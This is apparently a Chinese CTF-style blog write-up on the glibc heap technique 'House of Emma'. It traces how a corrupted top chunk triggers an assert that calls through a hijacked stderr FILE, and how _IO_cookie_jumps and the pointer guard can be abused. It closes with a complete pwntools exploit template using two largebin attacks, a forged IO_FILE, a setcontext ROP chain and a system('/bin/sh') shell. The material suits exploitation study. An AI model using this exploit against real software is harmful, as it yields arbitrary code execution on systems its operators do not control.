House of Emma

文章发布时间:

最后更新时间:

文章总字数:
1.5k

预计阅读时间:
6 分钟

前言

一种利用难度低 但是效果很强大的house of链 只需要两次largebinattack就可以做到控制程序执行流

链路分析

触发方式是基于house of kiwi 通过top chunk的size不足以供分配时 申请一个大size 而此时top chunk的size经过不正常覆盖 导致的检测失败 触发报错 引起的stderr结构体任意函数调用

断点打在所有的伪造已经结束后 我们触发报错 准备利用fake_file 跟进到malloc函数中的int_malloc

image-20230606123006752

随后跟进到sysmalloc函数

image-20230606123122801

触发malloc_assert函数

image-20230606123202245

到这里和house of kiwi都还是利用的同一条链 接下来的会有所差别 house of kiwi考的是劫持IO_list_all来实现的fake_file 随后劫持vtable结构体 而此次链是利用stderr标准报错的输出来利用

image-20230606123346995

我们首先需要跟进一下__fxprintf函数

image-20230606123545306

从这两条汇编可以看出 确实是和stderr有关 这里其存储的值已经被我利用largebinattack修改为了堆地址

接下来 来看一下是如何一步步获取控制执行流的能力以及要绕过哪些判断

image-20230606123752522

这里是第一个需要注意的点 此时rdi的值由rbx+0x88索引得到 而这个地址也是位于堆地址上的 这个值在随后的cmp指令中 嵌套了一个qword ptr 这意味着其值需为一个地址 才能继续执行下去 这里我选择的是堆基址 也就是rdi如图所示的值

image-20230606124012303

随后跟进到locked_vfxprintf函数中继续利用 随后继续跟进函数

image-20230606124128195

接着你会发现 在这个函数中 存在一个致命的任意函数调用

image-20230606124234491

这张图中最重要的就是rax寄存器 这个值如何控制 可以看到call执行的地址和rax寄存器是相关的 控制了rax也就可以控制程序执行流

我们回溯一下汇编代码 定位到可供我们控制rax值的语句

image-20230606124702103

我们定位了到了这一句 可以看出此时r12寄存器的值是我们覆盖stderr的堆地址 也就是说在对应0xd8偏移处 填入我们想要其call的目标 就可以劫持程序执行流 实际上也就是覆盖了vtable结构体

那么接下来的手法就是很普遍的2.29以后万能gadget+setcontext的办法来控制程序执行流 这里我懒得写orw了 只写了个system链 完整的伪造随后分析吧 接下来来看一下相关的注意事项

注意事项

首先我们要明白本次利用是如何获取执行流控制的机会的 对于vtable的具体位置的检测是比较宽松的 也就是说我们可以轻微的更改原本的偏移 使得我们调用到原本vtable表中的任意函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_cookie_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf),
JUMP_INIT(sync, _IO_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_cookie_read),
JUMP_INIT(write, _IO_cookie_write),
JUMP_INIT(seek, _IO_cookie_seek),
JUMP_INIT(close, _IO_cookie_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue),
};

在这么多函数中 存在部分函数 其参数和调用指针均可被file结构体控制 所以就相当于一次任意指针调用 供我们控制程序执行流 以write举例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb);
#endif

if (write_cb == NULL)
{
fp->_flags |= _IO_ERR_SEEN;
return 0;
}

ssize_t n = write_cb (cfile->__cookie, buf, size);
if (n < size)
fp->_flags |= _IO_ERR_SEEN;

return n;
}

可以看到调用write的指针和参数 都是由file结构体提供的 同时这里还要注意一下这个选项

1
2
3
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb);
#endif

其主要的作用就是起到加密指针 将原本的指针ror后 再和fs寄存器0x30偏移处的值进行异或

由于对应的值我们没有办法泄露出来 所以可以通过两次largebinattack覆盖其为我们已知的值

image-20230606130915152

而两次largebinattack需要比较多的辅助chunk 我们肯定是想着能用到较少的chunk更好 所以就存在了第一次largebinattack完以后 我们需要重新回收chunk 将其从bin中重新申请出来 就需要恢复两个largebin chunk的四个域

利用模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
add(0x420)#0
add(0x10)#1
add(0x410)#2
add(0x10)#3
delete(0)
add(0x500)#4
delete(2)
show(0)
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1ebfd0
success("libc_addr :"+hex(libc_addr))
delete(1)
delete(3)
show(3)
io.recv()
heap_addr = u64(io.recv(6).ljust(8,b'\x00'))-0x6d0
success("heap_addr :"+hex(heap_addr))
stderr_addr = libc_addr + libc.sym['stderr']
payload = p64(0)*3 + p64(stderr_addr-0x20)
edit(0,len(payload),payload)
add(0x500)#5

former_libc = libc_addr + 0x1ebfd0
chunk0_addr = heap_addr +0x290
chunk2_addr = heap_addr +0x6e0
payload = p64(former_libc)+p64(chunk0_addr)*3
edit(2,len(payload),payload)
payload = p64(chunk2_addr)+p64(former_libc)+p64(chunk2_addr)*2
edit(0,len(payload),payload)


add(0x420)#6
add(0x410)#7
delete(6)
add(0x500)#8
delete(7)
TLS_addr = libc_addr+0x1f3580
success(hex(TLS_addr))
payload = p64(0)*3+p64(TLS_addr+0x30-0x20)
edit(6,len(payload),payload)
add(0x500)#9

payload = p64(former_libc)+p64(chunk0_addr)*3#+cyclic(0x58)+p64(heap_addr)
edit(2,len(payload),payload)
payload = p64(chunk2_addr)+p64(former_libc)+p64(chunk2_addr)*2
edit(0,len(payload),payload)

payload = cyclic(0x508)+p64(0x100)
edit(9,len(payload),payload)

next_chain = 0
srop_addr = heap_addr + 0x7c0
gadget_addr = libc_addr + 0x00000000001547a0
setcontext_addr = libc_addr + libc.sym['setcontext']+61
rdi_addr = libc_addr + next(libc.search(asm("pop rdi;ret")))
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
system_addr = libc_addr + libc.sym['system']
ret_addr = libc_addr + 0x0000000000025679
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base = 0
fake_IO_FILE += p64(0) # _IO_write_ptr = 0
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_addr) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_addr + 0x1eca20 + 0x40) # vtable
fake_IO_FILE += p64(srop_addr) # rdi
fake_IO_FILE += p64(srop_addr)
fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_addr + 0x6e0), 0x11))
fake_IO_FILE += p64(0)+p64(setcontext_addr)
fake_IO_FILE += cyclic(0x78)+p64(heap_addr+0x868)+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)
edit(2,len(fake_IO_FILE),fake_IO_FILE)

# gdb.attach(io,'b *($rebase(0x1422))')
# pause(0)
add(0x1000)
# pause()
io.interactive()

部分地方根据自己复现的二进制文件不同修改 自己动调一遍其实就懂了